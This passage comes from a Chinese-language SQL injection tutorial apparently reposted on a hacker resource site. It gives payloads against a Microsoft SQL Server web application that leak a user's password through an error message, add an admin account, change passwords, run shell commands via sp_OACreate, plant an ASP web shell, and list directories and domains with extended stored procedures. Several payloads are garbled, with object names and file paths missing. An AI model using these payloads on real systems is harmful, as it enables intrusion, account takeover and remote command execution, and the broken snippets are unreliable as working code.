[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value ’pilv’ to a column of data type int.

/, line 5

也就是说用户neo的密码为pilv。

【象数据库的内容进行添加和需改】

要向数据库中提交或者修改数据,我们通常会用到INSERT和 UPDATE命令。

例如,向数据库中添加信息:

jsw/?id=10; INSERT INTO ’admin_login’

(’login_id’, ’login_name’, ’password’, ’details’) VALUES

(666,’neo2’,’newpas5’,’NA’)—

这样我们便成功的在数据库中增加了一个用户neo2,密码为newpas5。

向数据库中修改数据用到的是UPDATE命令,例如更换neo的密码:

jsw/?id=10; UPDATE ’admin_login’ SET ’password’ = ’newpas5’

WHERE login_name=’neo’—-

这个语句的意思我想大家一定明白了吧。

【其他】

与 OLE Automation/COM 物件相关的延伸预存程序:

SQL Server 提供了一组存取伺服器外部 OLE 物件相关的预存程序。它们分别

是:

sp_OACreate

sp_OADestroy

sp_OAMethod

sp_OAGetProperty

sp_OASetProperty

sp_OAGetErrorInfo

sp_OAStop

你可以用它们来建立 OLE 物件(一般COM 物件就可以了,但要支援 IDispatch

介面),执行物件的方法,读取与修改属性,进行错误处理。但它们无法回应一

般 OLE 或 COM 物件的事件。有了 COM/OLE 物件的建立与执行,对於控制

系统来说可算是如虎添翼,无所不能了。稍举个例子,我们可以利用它来取得有

兴趣的网页的原始码:

’;DECLARE @shell INT EXEC SP_OACREATE ’’,@shell OUTPUT

EXEC SP_OAMETHOD @shell,’run’,null, ’C:/WINNT/system32/ /c type

c:/inetpub/wwwroot/sqlinject/ > c:/inetpub/wwwroot/sqlinject/’--

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

利用 stemObject 来建立一个ASP网页后门:

’;DECLARE @fs int,@fi int

EXEC SP_OACREATE ’stemObject’,@fs OUTPUT

EXEC SP_OAMETHOD @fs,’CreateTextFile’,@fs

OUTPUT,’C:/InetPub/WWWRoot/SQLInject/’,1

EXEC SP_OAMETHOD @fs,’WriteLine’,null,’<% Set

objShell=Object("") : Request("cmd") %>’

建立 ASP 後门网页。从此透过 URL 就可以执行任何执行档,范例如下:

sqlinject/?cmd=C:/WINNT/system32/">localhost/sqlinject/she

?cmd=C:/WINNT/system32/ /c type

c:/inetpub/wwwroot/sqlinject/ > c:/inetpub/wwwroot/sqlinject/

读取服务器的系统信息:

’union select @@version,1,1--

’union select @@version,1,1--

其他相关的延伸预存程序:

xp_dirtree :显示某个目录下的子目录与档案架构

例子:xp_dirtree ’c:/inetpub/wwwroot/’

xp_ntsec_enumdomains:列出服务器域名名称

例子:xp_ntsec_enumdomains

xp_terminate_process:停掉某个执行中的程序,但赋予的参数是 Process ID

例子:xp_terminate_process 2484


本文标签: 数据库 注入 信息